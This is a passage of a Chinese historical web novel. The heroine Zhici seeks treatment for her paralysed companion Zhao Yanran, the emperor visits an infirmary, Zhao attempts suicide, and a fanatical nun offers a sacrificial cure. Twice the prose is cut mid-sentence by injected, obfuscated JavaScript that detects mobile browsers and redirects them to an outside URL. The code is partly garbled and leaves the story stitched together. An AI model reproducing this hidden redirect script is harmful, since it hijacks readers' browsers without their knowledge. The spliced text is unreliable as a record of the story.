周嬷嬷见知慈回来,无奈地道,“大少爷下了死令,既然你非要管赵晏然,老身也帮不了你。你走吧。” 自己的行李都在门外,也就是说,她今连住的地方都没有了。 知慈道,“您特意过来,就是为了替我收拾行李?” 周嬷嬷神情变得耐人寻味,道,“不……老身是为纤纤姑娘来的。” “纤纤姑娘?”知慈奇怪,周嬷嬷之前从来没这么称呼过沈纤纤。 周嬷嬷望着知慈,意味深长冲知慈道,“方才二少爷命我将纤纤姑娘行李搬去他的院子。其他的,老身就不方便说了。” 说罢,周嬷嬷转身离开。 知慈愣住,周嬷嬷所说的‘将行李搬到路茂枝院子’的意思是,姐姐接受了路茂枝的追求? 沈纤纤的选择令知慈意外,知慈还记得她悄悄用嫌弃的语气同自己嘀咕路茂枝其貌不扬,可如今她却宁愿忍受路茂枝的缺点也要同他在一起,这样的沈纤纤让她感到陌生。 知慈强行按耐住情绪。眼下最重要的事,是给赵晏然凑出今日的续命钱。 知慈解开自己的行李,里面装着她的衣物和银钱。她将积蓄数了又数,所有钱加起来只有十一两,距离五百两还差的远。 秉着能凑一点是一点的想法,知慈来到赵晏然的寝房,可赵晏然屋中除了碎银几两,没有任何值钱东西。 无奈,知慈只得去找路府的账房。 “先生,我和赵晏然的月俸能预支吗?” 账房道,“丫头,你没干满整月,按照府上定的规矩不允许提前结钱。至于赵兄弟的薪俸,之前一直是主子派专人准备抬到上清山的,眼下并无余钱可支。” “可赵晏然他需要用钱,耽误不得,先生您通融下吧。” 账房摇头道,“丫头,老夫只是个管账的,别为难老夫了。” 知慈知道账房不敢违背路繁叶,也只得离开。她出了路府,来到车水马龙的街市,尝试着走进了一家医馆。 “大夫,您这儿有还魂草吗?” “有,你要哪种。”老大夫从货架最里端小心翼翼取出两只保存极仔细的还魂草。 “嗯……都多少钱?” 老大夫认真给知慈讲解了一番,“这两只药用价值都很高,这一只成色更好些,要六百两;这个差点意思,五百两,你仔细看,它们的颜色……” 知慈听着老大夫介绍,犹豫着道,“……大夫,我可以赊账吗,我的同伴他是上清派的弟子,如今身受重伤急用还魂草。待过两日他的同门得了信过来,就会马上把钱尽数给您。” 听到知慈的发言,老大夫一顿,然后啪地合上了装还魂草的盖子,把还魂草放回了货架。随即抬手示意门口,意思是送客。全程一言未发。 知慈被赶了出来。 她也知道自己的举动毫无诚意,可走投无路之下,她真的不知该怎么办。 知慈站在车水马龙的街头,心中愈发绝望。此刻时间拖延一分,赵晏然危险的几率便多了一分。 绝望之中,她脑海突然灵光一现。 对了! 知慈突然想起,母亲临死前曾为自己指明过一条路。她说若有一天走投无路,便去求名唤徐钰的贵人帮忙。 那时知慈曾期盼自己一辈子不会沦落到这种境地,但此刻这位贵人却成了自己唯一的救命稻草。 想到这里,知慈立刻动身出发。 - 夜色之中,知慈扣响徐家大门。 半晌,大门打开一条缝,一个家仆打扮的老人隔着门缝问道,“哪位?” 知慈道,“我找徐钰,徐老爷。我是他的……一位故人之女。” 那家仆道,“老爷他不在,你不知道?” 知慈的心凉了半截,“他不住这里吗?” 家仆道,“老爷常年在军中驻扎,一年中偶尔会回趟京城。其余时间这房子都只有老奴一人看守。” 知慈的心彻底沉了下去。家仆见她脸色苍白,道,“姑娘,要不这样,今日正值老奴例行给老爷汇报京中事务,你有什么事,老奴一并写入信中帮你转达。” 知慈摇摇头,待信递过去,赵晏然早就死透了。 她浑浑噩噩向家仆道,“多谢您,但不用了。” “好,那您回吧。”家仆见知慈拒绝,便未再说什么,关上了大门。 知慈站在徐家门前,内心无助。她还以为抓住了救命稻草,却没想到老天给了她希望又让她绝望。 短短一天,她便从安逸的生活中被打入地狱:姐姐走了,自己被路府扫地出门,还有个重伤的赵晏然等着自己想办法。 四面八方的压力压得她透不过气,知慈甚至连站立的力气都被抽空,她缓缓坐下,手抱住膝盖将自己蜷成一团,任由泪水流淌。 该怎么办啊? 就在知慈最绝望、最伤心的时候,她头顶突然传来一道温润和煦的声音。 “姑娘,你怎么了?” 知慈抬头,看到眼前的年轻公子一袭白衣,顺滑的乌发间系着红发带,容貌清俊,神态温润,双眸如琉璃剔透,此刻半曲着膝,垂眸微微关切地望着她。 这位年轻的公子正是谢琅。方才他同赵晏然配合拿下白巾教主后,便有下属通报后山还有白巾教余党,于是他将善后一事交给下属,未作停留便率人前往后山同池无暇汇合。 一番激战后,白巾教余党被剿灭。池无暇、胡捕头等人陆续押送着犯人回京,伤者则被部队送往养济院。 谢琅随众人一块回京后,在城内与其他官员分道扬镳,独自来到了徐钰府前。 在府前,他见到一陌生女孩哭得很伤心,出于好心便询问了缘由。 听到谢琅的问话,知慈忍不住留下泪来,“方才在青牛观,我被白巾教挟持做了人质,我的同伴为救我身受重伤,可我却连一个还魂草钱都凑不出来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711734|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知知慈方才也在青牛观,谢琅微微皱眉,“你的同伴叫什么名字?” 知慈道,“他叫赵晏然。” 听到赵晏然的名字,谢琅下意识愣了愣,“你说……赵兄弟?他竟受了重伤?” 知慈知慈点头,哽咽道,“是,大夫说,他要服一株还魂草才能活。我走投无路,就想来母亲的故交处碰碰运气,可徐老爷他却不在……” 谢琅道,“此事怨我。我是这次行动的负责人,方才赵兄弟帮了大忙,但我忙于追捕白巾教余党,竟疏忽了他。姑娘,你别慌,赵兄弟受伤是因白巾教而起,一切治疗费用理应朝廷承担。” 谢琅的话令知慈意外又激动,“您的意思是……” 谢琅温和道,“青牛观大部分受伤的官兵百姓都已被送到了养济院,稍后我会派人把赵兄弟也接过去,产生的治疗和衣食住行全部由朝廷承担,赵兄弟需要的还魂草也会无偿提供。你若需要陪护,我便同他们打个招呼,为你也留间屋子。” 谢琅的话于知慈来说无异于雪中送炭。她没想到,这位贵人不仅解决了赵晏然目前的燃眉之急,甚至连她的住处也照顾到了。知慈激动道,“谢谢您,贵人,您真的帮了大忙。谢谢……” 谢琅摇摇头,温润道,“唤我谢琅便好。你不必谢我,陛下一早便下过令,要给卷入这次行动的官兵百姓提供医疗援助。赵兄弟作为这次行动的功臣,更无被漠视之理。” 知慈点头,满面感激。 谢琅摆了摆手,转开了话题,“对了,你怎么认识的老师?” “老师?” 谢琅道,“嗯,徐钰,前几年一直为我们授课讲经,是我的老师。直到近年他重回军队赴任文职,才关停了他的私塾。” 知慈道,“我不认识,但他是我母亲的故交,母亲让我走投无路时,过来寻他帮忙。” 谢琅点了点头,“这样啊。”他顿了顿,又道,“那你稍等我一下,我给老师递个信,结束后便处理赵兄弟的事。” 谢琅转身敲门,过了一会,大门打开。家丁见到谢琅,问了声好,“殿下。” 谢琅道,“于叔,你这月给老师的信寄走了吗?刚才有突发情况,白巾教主被捕,我想一并转告老师。” 家仆忙将谢琅请进门,又看向知慈,“姑娘,你还在?” 谢琅道,“她是我的朋友,在等我。” 家仆恍然,将知慈也一并请进,又招待知慈稍坐片刻,随即便同谢琅去了书房。 知慈在正厅等待,悄悄观察周围,徐钰家中装潢朴素,下人都没有几个,和富丽堂皇的路府天差地别。 他是母亲的什么人呢? 知慈没有头绪,放弃了思考。 一炷香后,谢琅办完正事,领着知慈离开。 随即,谢琅派人将赵晏然抬到养济院,并亲自同养济院的官员打过了招呼,为赵晏然提供了最好的病房和汤药。 那之后,养济院内的医师给赵晏然灌下了还魂草药汤,又检查了他的伤势,重新做了包扎。 一切都处理好后,医师告诉知慈,能做的都做了,如今只需静待赵晏然苏醒即可。 17. 苏醒 赵晏然醒了。 知慈从外面回来时,便见到赵晏然静静睁眼盯着天花板,躺在床上。 心中大石落地,但面对清醒了的赵晏然,知慈非但没觉得放松,反而更加紧张起来。她下意识放缓走路的步伐,小心翼翼来到赵晏然身边。 刚刚苏醒的赵晏然唇色发白,形容枯槁,半阖着眼睛安静躺着。 知慈心中忐忑,不知该如何告诉赵晏然他已经瘫痪的事实。她欲言又止,半晌都未说出一句话。 似是注意到这微妙的沉默,赵晏然微微转动脑袋,澄澈的眼仁望着知慈。 “赵晏然……”知慈唤他,不知接下来怎么开口。 然而,出乎知慈的意料,赵晏然启唇道,“医师说,我这辈子都不能动了。” 他声音平静,似乎只是在陈述一个与他无关的事实。 “……嗯。” 闻言,少年沉默下来。 见状,知慈神经下意识紧绷,生怕他接受不了,出现过激的反应。 安静的厢房内,时间一点点流逝,但赵晏然却一直一言不发,只是安静仰面在床上,眼神有些涣散地盯着天花板。 沉默中,赵晏然突然开口,道,“我醒来时,便发现自己全身都没了知觉,只有上肢和头勉强能动。” 说着,他向知慈展示般费力抬起了左手,却只坚持了一瞬间,左手便又无力地垂下。 这样的举动让他清俊的面容多了一分破碎感。他似乎并未在意方才失败的尝试,而是换了话题,平静问道,“这是哪里?” 知慈道,“养济院。” 见赵晏然面露疑惑神色,知慈又补充道,“这里是朝廷临时搭建的医馆,救治这次行动受伤的伤患。至于路府,他们已经派人向上清山送了信,说明了你的情况。” 知慈特意隐去了路繁叶落井下石之事,不想让赵晏然太过难受。 听到‘上清山’三个字,少年平静的神色终于出现了变化。一瞬间他脸色变幻,悲哀又不甘。 知慈见状,有些紧张道,“你怎么了?” 但转瞬间赵晏然的神情便恢复如常,“没什么。” 他盯着天花板,轻声道,“我也很久没回上清了,正好回去看看上清有什么变化;而且,待上清山上的医师帮我看完后,也许我的身体还有转机。” 根本没有转机,知慈心想。上清只是一个武学门派,并不以医术见长。天下杏林妙手大多聚集京城,连养济院的医师都已断定赵晏然瘫痪,赵晏然的话无异于自欺欺人。 但知慈不想打击赵晏然,道,“是啊,不过你需得等等,山上来人接你也需要时间。” 少年再无话说,一时间屋内又安静下来。 知慈不知说些什么,又惦记着赵晏然救了自己的事,觉得应该表示感激,犹豫着开口,“对了,你当时救了我……” “好了,我累了,让我休息一会吧。”赵晏然开口打断,不愿意与知慈谈论这个问题,阖上了眼睛假寐。 知慈见状,只得闭上嘴。 赵晏然醒来后既未激动也未痛哭,反而平静接受了自己的现状,这本是个好事。可知慈敏锐捕捉到,少年并非真的心无波澜。 - 第二日上午,知慈在病房隔间短暂休息了几个时辰后便起了身,她来到内室,却见赵晏然依然未醒。 知慈爬起身,出门去找医师领今日的还魂草和早饭。一推开门,外面大堂闹哄哄的交谈和呼痛声灌入知慈耳中。 只见养济院大堂人满为患,伤者大多是同白巾教徒交手后受伤的士兵、捕快和锦衣卫。由于伤员太多,能住上单独病房的是极少数,大部分官兵只能在大堂打地铺。此刻医师们穿梭在伤员中问诊包扎,忙得不可开交。 知慈左绕右绕,小心翼翼避免踩到伤员,终于取来了药和食物。 知慈取到药返回时,看到谢琅也在大堂,正同养济院主管商议着如何妥善安置这些伤员。 见到知慈,谢琅唤住她,“知慈。”随即向知慈走来。 知慈端着药停下,“殿下,早。” 清俊的贵公子来到知慈身边,问道,“赵兄弟怎么样了?” 知慈道,“他昨晚醒了,情绪还算稳定。” 谢琅闻言,温声道,“这是好事。我同你一道看看他。”谢琅昨晚过来看过一次赵晏然,但那时他还没醒。现在听闻赵晏然醒了,便想再去看望他。 知慈点头,带着谢琅回到了赵晏然的厢房。 知慈推开门,对赵晏然道,“赵晏然,喝药了,另外,谢琅殿下来探望你了。” 病床上,赵晏然闭着眼睛没有回应,看起来仍在睡觉。 “赵晏然?”知慈重复道。 赵晏然依旧没有反应。 知慈回头看谢琅,有些歉意道,“他睡着了,还没醒。” 谢琅谦声道,“没事,待他醒了我再来探望。”随即他离开了厢房,轻轻带上了门。 “不是喝药吗?”知慈望着谢琅离开,听到身后脑后响起微哑的声音。 知慈回头,有些意外,道,“你没睡着?” 少年有些虚弱,垂着眼道,“没有。” 知慈道,“那你方才为何要装睡?” 少年淡淡道,“懒得同他说场面话。” 知慈不知说什么好,道,“喝药吧。” 给赵晏然喂完了药,二人一躺一坐,有一搭没一搭闲聊。 “昨天半夜,我被外面的声音吵得睡不着。”赵晏然道。 知慈道,“伤员太多,只能在大堂打地铺,避免不了有些吵。” 赵晏然嗯了一声,没再说话。 过了一会儿,赵晏然又道,“如果路府昨晚发的飞鸽,那掌门今天下午便应该能收到信了。” “这么快?” 赵晏然道,“是啊。”过了一会,又补充道,“真希望他们快点接我回山上。” 随即屋里安静下来,这一次,安静的时间有些长。 大堂人声鼎沸,隔了门仍有些嘈杂。 听着门外的声响,知慈有些走神。 知慈神游天外之际,赵晏然状似不经意地开口,“对了,沈纤纤呢?” 知慈一激灵,他终于问起了身边的人。 “她跟了路茂枝。” 知慈本想接下来给赵晏然讲述昏迷期间,沈纤纤为了抛弃他,同自己产生的争执。可下一瞬,知慈便想起沈纤纤对她说的话,“你都没有自知之明吗”。 知慈的眼圈立刻不受控制地红了起来,接下来的话堵在喉咙口,一句也说不出,她怕一张嘴就发出哽咽。 沈纤纤的争执给自己造成了巨大的伤害。沈纤纤不仅抛弃了赵晏然,也抛弃了自己。此刻她同赵晏然诉说沈纤纤的凉薄无情,又何尝不是在揭开她自己内心的伤口,进行又一次凌迟? 床铺上,赵晏然听完知慈的话,沉默了下来。他没再追问为什么沈纤纤不管他,也没追问沈纤纤有没有愧疚。他看起来既不难过,也不悲伤,仿佛只是听说了一个无关紧要的消息。 片刻后,他开口,语气平淡,“不只她吧,我能躺在这里,想必路繁叶也落井下石了。” 知慈胡乱点点头,不想被赵晏然发现自己因想到沈纤纤哭了。她站起身,侧着头含混不清道,“我出去透口气。”便狼狈离开了厢房。 - 知慈站在厢房外,背靠着房门,哽咽着抽了一下鼻子。 她既伤心又委屈,伤心沈纤纤不把她当回事,又为自己曾经对她掏心掏肺而委屈。 知慈摇摇头,强压下了酸涩的情绪。 大堂内依旧一派热火朝天的忙碌情形,根本无人注意到方才她在悄悄哭泣。 靠近大堂门口处,几个官员正在交谈,知慈定睛望去,有谢琅、池无暇,还有其他叫不出名字却眼熟的官员,大多是昨日参与了青牛观指挥工作的武官,正在探讨怎么安置伤员的善后工作。 就在这时,一个年轻的小捕快慌慌张张从侧门跑了进来,冲谢琅等人大声禀报道,“头儿!头儿!圣上现在领着好多大人们过来,已经快到大门口了!” 消息一出,整个大堂都安静了片刻。随即人们像炸了锅一般:皇帝陛下突然要来造访养济院?! 在场的医患议论纷纷。而官员们听见这个消息,则纷纷变得神情紧张,如临大敌。 只听太医主管慌张道,“完了完了,陛下怎么会现在来?” 而池无暇则环顾大堂,随即走至穿着锦衣卫服饰的受伤下属身边,道,“把外衣脱了,别让陛下一眼看出你是锦衣卫的。” 至于其他官员,也纷纷手忙脚乱地检查自己的分内职务,欲图陛下到来时尽量挑不出自己的错处。 令知慈最意外的是,不远处,永远保持温润风度的谢琅,在听到皇帝造访的消息后,也难得脸色发白,神情紧张。 知慈见到一众官员的反应,心下纳罕,皇帝陛下平日到底是何种行事作风,才能让在场的官员们闻风丧胆,如此畏惧? 就在知慈疑惑之时,只见济善堂大门被砰的一声推开,只听拉长的尖细太监音道,“皇上驾到——” 话音落下,大堂内瞬间安静下来,人们手忙脚乱地跪了下来。 而大堂外,一位中年人面容精干、身着明黄龙袍,快步迈入大堂。在他身后,一大群头戴乌纱帽的高级官员,呼啦啦鹌鹑似地跟着他进了济善院。 嘉平帝陛下驾临,大堂内官员刚欲恭敬开口,便见皇帝不耐烦摆手,“行了,无关人等,都起来忙自己的事去。” 大夫们闻言,忐忑不安地爬起身来,继续为伤员看病。而皇帝则唤道,“你。” 方才手忙脚乱的太医主管忙恭敬道,“陛下,臣在。” 嘉平帝冷冷道,“你真是个废物。这么多伤员没地方躺,你就让他们全挤在大堂?” 太医垂首道,“回陛下,臣正在同五殿下池指挥商议一个可行的办法。” 嘉平帝道,“昨天到现在一天过去了,还没商量出个眉目?就让这些重伤的武官在地上躺着?你遇到什么困难就向上请示,再干不明白就换人。” 太医诺诺道,“是、是。” 随即嘉平帝不再理会他,又道,“池无暇。” “臣在。” 嘉平帝斥道,“昨日若不是你让手下 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嘉平帝严厉的态度不仅让官员们胆战心惊,在场的医师和患者被气氛感染,也都小心翼翼精神紧张,虽然都在忙自己的事,但偶有交谈,也都把声音压得极低,生怕引起皇帝的注意。 训斥完众臣,嘉平帝背着手渡步到伤患之中查看情况,身后几个内阁大臣也亦步亦趋跟了上去。 见皇帝靠近,本来躺在地上的伤员反射性弹起身来,诚惶诚恐地想行礼。 但令人意外的是,与方才刻薄严苛的模样不同,面对伤员时的嘉平帝语气格外温和,“不必多礼,诸位继续忙自己的事就好,朕来看看这里的情况。” 那伤员这才放松下来,又躺了回去。 之后,嘉平帝简单了解了在场伤员的情况,偶尔停下来,温声细细询问伤员的病情,丝毫没有上位者的架子。 嘉平帝在大堂转了一圈,最终来到了知慈的面前。 知慈见皇帝陛下此刻就站在自己面前,不自觉紧张地抹了下眼泪。 嘉平帝问道,“小姑娘,你怎么哭了?” 知慈道,“白巾教害我失去了姐姐,我心里难过。” 皇帝沉声安慰,“节哀,孩子,生活还要继续,振作起来,你姐姐若看到你这么难过,她在九泉之下也会心疼的。” 知慈点点头,“您说的对。” 随即,嘉平帝转过身,面向大堂中的所有人,道,“在场诸位,你们都是谢国的英雄,你们身上所受的每一道伤,都是保家卫国的标志。朕代表每一位子民感谢你们。” 嘉平帝顿了顿,继续真诚道,“朝廷绝不会亏待每一位为国家奉献的将士,过几日朝中封赏就会下发给诸位。拥有你们这样愿为谢国和平稳定而战的将士,是谢国的荣幸。” 场中伤员闻言,欢呼声此起彼伏,有年轻的士兵躺着欢呼,“陛下万岁!” 众人见到他们的陛下毫无架子又真诚关心他们这些普通武官,心中感动。 有伤员热泪盈眶,喊道,“这点伤算什么?臣愿为国捐躯,战死沙场!”一时间,场内情绪高涨,自豪、激动的心情充斥着每一个人的心头。大门处,谢琅也与有荣焉,眸中染上几分自豪的神色。 知慈望着前方皇帝的背影,心中亦被雀跃激昂的气氛感染。 她从前便常听人说,他们的君主是位励精图治的明君,时常亲自出宫巡视政务。从前知慈觉得天家之事距离自己太遥远,因此并无太多感触。 今日她得见皇帝陛下本人,才发现陛下虽然对待下属严厉苛刻,但他勤政爱民,是个做实事的好皇帝。 知慈心想,有这样的皇帝,真是谢国之幸。 - 皇帝来过养济院后,太医们效率大为提高,当天下午,在大堂打地铺的伤员们便被转移至了隔壁户部临时借用的空房之中,自此,所有伤员都住上了安静的病房。 接下来几日,赵晏然除开睡觉,清醒的时候依然平静,配合。 期间,知慈去了一趟路府,将他所有的行李都搬了过来。 赵晏然行李很少,知慈去了一趟便全收拾好了,包括他重伤那日所带的佩剑和匕首。 她面对剑和匕首时,犹豫了片刻,他一辈子都用不上的东西,还有必要带吗? 但她还是带来了,毕竟是赵晏然的东西,该交由他自行处理。 回到养济院时,天已经黑了。 厢房内一片黑暗,知慈点燃蜡烛,便见赵晏然仰躺在床上,右手伸出,费力去够床边水杯——赵晏然只有上肢能活动,通过这几日的恢复,他已经勉强能维持手臂停在空中了。 知慈见状,忙在他身后多垫了一个枕头,扶他靠在枕头上,又给他喂了些水。 赵晏然笑笑,“多谢。” 知慈道,“我将你的行李都拿来了。”说罢,拆开包袱给赵晏然看,里面有他的衣服和其他杂物,“你的长剑,我也带来了。” 话音,刚落知慈便听见外面有人敲门。 医师的声音隔着门传来,“知慈姑娘,有位自称来自上清的客人,过来探望赵公子。” 18. 自杀 知慈回头,看了眼赵晏然,赵晏然没有说话,但也没有拒绝。 于是知慈扬声道,“进来吧。” 随即,一位英姿勃发服饰干练的佩剑青年推开了门,同知慈打过招呼后便立刻看向床铺。 赵晏然躺在床上,看到来人,语气有些激动,道,“师兄,你来了。” 来者是同赵晏然关系很好的周师兄,平日在山上便对赵晏然十分照顾。 周师兄神色关切担忧,快步上前掀开被子,查探赵晏然的伤势。 “晏然……”看着赵晏然如今的落魄模样,周师兄的声音有些难过,“我已雇了人,咱们马上出发。” 赵晏然嗯了一声,语气怀念道,“师父师兄们还好吗?他们在山上都过得怎么样” 知慈站在一旁,注意到这本是闲话家常的问题,但周师兄闻言神色却变得不太自然。 周师兄避开了赵晏然的视线,无意识地摩挲床沿,道,“……他们都很好,师父很担心你。” 赵晏然也察觉到了师兄的异常,于是沉默望着他,等待下文。 一时间厢房中无人说话,可越是安静,周师兄便愈发犹豫。 半晌,周师兄硬着头皮道,“晏然,我和你说个事。” “你说。” “师父接到你出事的信件后,很担忧你。但门派不能没有继承人,所以我下山前,他便任命诸葛真为少掌门了。” 周师兄说完后,半晌不敢看赵晏然的脸色。 赵晏然在上清派年轻一辈中武功最高,成为掌门亲传弟子已是板上钉钉的事实,下山保护路府,也是赵晏然接任少掌门前的最终历练。可谁能想到赵晏然会因此搭上自己的健康? 周师兄半天都没等来赵晏然的回应。他抬起头,便见赵晏然愣愣地盯着天花板,神色茫然。 “……晏然?” 赵晏然回了神,道,“抱歉,我走神了。” 师兄有些忐忑,道,“你没事吧?” 赵晏然垂眼,望向周师兄开口道,“我没事,我现在的状态也不可能担任少掌门,让合适的人接任,是合情合理的选择。” 他的语气却像在念公文:得体、大方、没有感情。 周师兄听着赵晏然顾全大局的回答,心里却一点也欣慰不起来,赵晏然有天赋又刻苦,成为掌门亲传弟子顺理成章,几乎所有人都认为照这个势头,赵晏然未来必会成为宗师泰斗。 但也因此,周师兄见赵晏然如今平静接受失去一切,才为他更感到心酸。 周师兄道,“那你有什么行李,我帮你收拾下,今日就出发回山上吧。” 令周师兄和知慈都感到意外的是,赵晏然突然开口道,“师兄,再等等吧。我现在伤口未愈,不宜颠簸,何况山上的医疗条件并不比京城好,要不,你待我休养半月再来接我吧。” 知慈听着,心下疑惑,因为赵晏然此前同她说话时,经常流露出十分期待回上清的态度,怎么此刻真得能回去时,又突然变了口风呢? 周师兄想了想,道,“也行。正好我还得去东方城办点事,既然有这位姑娘照顾你,那我便先去趟东方城,回来再来接你。” 随即,他又同赵晏然聊了些无关紧要的事情,并对知慈表示感谢。半个时辰后,周师兄同二人告别离开。 厢房内再次安静下来。 赵晏然突然道,“知慈,你把我的剑拿来。” 知慈道,“怎么了?” 赵晏然道,“我想试试,自己还能不能握住剑。” 知慈听他这样说,有些心酸,依言将剑柄递给他。 赵晏然如今全身上上下,唯有手臂能动。只见他颤抖着握住剑柄,费力抬起手,但他手抖得太厉害,没等握紧,长剑便掉落在柔软的被褥上。 知慈见状,连忙将长剑放在床边,道,“你大病未愈,别为难自己。” 赵晏然怅然,道,“我在上清山习剑第一年,师父只教了我一件事。他说学剑第一步,是找寻自己的道心——明白自己追求什么,为何执剑。道心坚定,执剑的手才不会抖,才配学剑。” “师父交代完这句话,便让我练习握剑。我练了整整一年,练到后来,我手执剑柄在太阳底下维持一个剑式几个时辰,手也不会抖一下,直到那一刻,我才豁然开朗自己要追寻什么。” 赵晏然沉浸在了自己的世界,声音轻得仿佛呓语,“——将剑术练到极致,不断寻求更强的力量,那便是我所寻之道。在上清的日子我纯粹无比,每天除却睡觉都在练剑,心无旁骛。越努力,我心中就越踏实。” 随即,赵晏然自嘲一笑,眼圈不知不觉有些发红,道,“可惜,以后我连努力的机会都没有了。现在的我,再也握不住剑了。” 知慈有些局促,却不知该说些什么来安慰他。 但赵晏然并不需要她安慰,他很快调整好了情绪,甚至罕见地冲知慈露出一个笑。 “知慈,你能帮我一个忙吗?” 知慈望着他,等待下文。 “我想拜托你买坛酒,知慈,我现在什么都做不了,就只想喝点酒。” 知慈犹豫道,“可你大病未愈……” 赵晏然唇角弯了弯,声音却不容置疑,“去吧。” 知慈望着赵晏然,觉得他有点可怜。他失去了近乎一切,如今也只剩下喝酒这么一个愿望了。 她答应了,离开厢房,细心带上了门。 知慈走出养济院,又觉得应当问问赵晏然有没有具体想喝的品类和店家,让他喝得尽兴些。于是折返回到了厢房。 然而就在这时,知慈听见屋中传来“锵啷”一声,似金属落地。 知慈心中一惊,立刻推开门进入里屋—— 只见赵晏然喘着粗气,脖子血红一片,方才放在床边的长剑此刻则掉在了地上。 知慈这才明白,原来赵晏然是想支开自己,尝试自杀,却因握不住剑柄,功亏一篑。 知慈连忙拿起纱布,给他止血。 多日来一直平静的赵晏然,此刻流着泪嘶吼道,“滚开!别碰我!” 知慈没听他的,继续帮他止血。 赵晏然痛声嚎哭,声音如受伤的野兽。他清俊的脸扭曲无比,痛苦嚎哭道,“都是你……沈知慈,为什么死的不是你?” 知慈心中一颤,停下动作。 赵晏然神情失控,对知慈嘶声道,“若不是因为你,我根本不会落到这般地步。如今我连死都死不成,而你又在装什么好人?!” 赵晏然的声音惊动了外面,几个医师来到厢房,见赵晏然情绪崩溃,立刻派人去端来一碗汤药,强行给赵晏然灌了下去,很快赵晏然便昏睡了过去。 医师叹了口气,“他不愿接受现实,慢慢来吧。老夫给他喝的药能让他昏睡半日,待他醒来,还需要你多劝劝他。” 知慈连连道谢。医师们见情况稳定下来,便离开了厢房。 一时间,厢房内又只剩下她和昏睡的赵晏然。 桌上烛火明明灭灭,知慈坐在桌子旁,面朝赵晏然一言不发,神色麻木又疲惫。 赵晏然说的没错,若不是她,他不会瘫痪。 自己欠他一条命。 寂静的深夜中,知慈突然对着无知无觉的少年开口,“我记得,你劝退张小功时曾道,这世界弱肉强食,强大是唯一的道理。那时你扬言,若有一日你败了,便愿赌服输,因为这就是游戏规则。” 少爷眼角泪痕未干,对知慈的话毫无反应。 “没想到,”她无声笑了笑,“真有这么一天,你却选择了自杀。原来这就是你的愿赌服输。” “你啊,真是……” 知慈停顿了一会儿,仿佛在寻找一个妥帖的形容。 也不知过了多久,知慈握紧了右手,下定决心。 她站起身,吹灭蜡烛,随即大步离开了骤然漆黑的厢房,只留下一句轻到听不清的叹息。 “……懦夫。” - 青牛观内。 烛光之下,疯道姑孙芳姑虔诚祭拜着一尊小小雕像,口中念念有词。 此刻时近午夜,荒郊野外,偌大的青牛观一片漆黑,只有孙芳姑房间的窗户透出一点灯火。 如果换一个人住在这荒郊野岭之地,恐怕会被吓破胆,但孙芳姑明显相当满意这样的清净。 自前些日子的变故之后,青牛观便被朝廷查封,而观中除了孙芳姑,其他道士都被缉拿至大狱等待审判。 孙芳姑为朝廷提供了追捕白巾教的重大线索,因此没有被抓;官兵们睁一只眼闭一只眼,默许了她继续住在在青牛观。 因青牛观正门被贴了封条,孙芳姑目前便住在靠近侧门的一间厢房,侧门进出自由,方便平日进出买菜做饭。 孙芳姑正在祷告,正当她全神贯注之时,侧门穿来了“砰砰砰”的敲门声。 孙芳姑思绪被打断,皱了皱眉,但随即心中便被疑窦填满:三更半夜,会是谁来拜访一处禁地? 她来到侧门处,将门稍稍推开一条缝。 令她未想到的是,门外不是赶她走的朝廷官兵,也不是来报复她的白巾教徒。 来者她认识,是那个同伴重伤、自身命格奇特的小姑娘。 孙芳姑松了一口气,“原来是你。” 她将门打开,侧身让小姑娘进来。 小姑娘正是知慈。 赵晏然的自杀行为,同样让知慈感到崩溃。 方才赵晏然陷入沉睡,知慈颓废绝望坐在桌旁。就在那时,她突然想起,在青牛观赵晏然重伤昏迷时,疯道姑曾凑到她身边说的话。 当时她断言赵晏然会终身瘫痪,又说她有法子救他。 那时她根本不相信疯道姑,认为她咒人倒霉。但此刻走投无路,再联想到疯道姑的预言竟奇异地实现,知慈突然就理解了沈纤纤为何执着于青牛观的法会。 因为对于走投无路的人来说,鬼神之说是他们唯一的救命稻草。 她拜托了医师看护赵晏然,防止他醒后再次自尽。而自己则趁着夜色一路赶到青牛观。 青牛观正门被查封,幸好当她绕到侧门时,围墙内隐约透露出了光亮。 她敲响门,孙芳姑仍是那副神神叨叨的模样,探头探脑地打量她片刻,方才领着她进了屋。 屋中摆设朴素,紧里面的地面上有个暗门,看起来像下面有个地下室。 孙芳姑道,“小姑娘,你想通了?” 知慈咬唇,半晌开口道,“医师说,我的同伴终生瘫痪。我不知道该怎么办,只能来找您。您说有办法救他,求您帮帮我。” 孙芳姑道,“当然,当然,我那日一看到他的情状,便想到了救人的办法。” 随即,她神神秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715383|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘地说,“姑娘,你相信无生老母真实存在吗?” 知慈眼皮一跳。无生老母,那不是白巾教的信仰神吗?知慈犹疑着道,“你也是白巾教徒?” 孙芳姑立刻摇头,道,“谁告诉你信仰无生老母,就得是白巾教徒?这么同你说吧,白巾教就是一群打着信仰旗号的反贼,贫道之所以向朝廷告发这些人,就是因为他们将无生老母强行与白巾教捆绑,玷污了无生老母的声誉。” 孙芳姑神色变得狂热,“古语云‘天地不仁,以万物为刍狗’。无生老母的原始教义根本没有所谓‘均贫富’一说。因为祂从来不拯救凡人,祂只与凡人做交易。” 孙芳姑看向知慈,“你的同伴寿命将尽,即使活着也是苟延残喘。凡间医师束手无策,但如果你献祭足够的筹码,那无生老母便会恢复他的健康。” 知慈听得入神,“筹码是指……?” 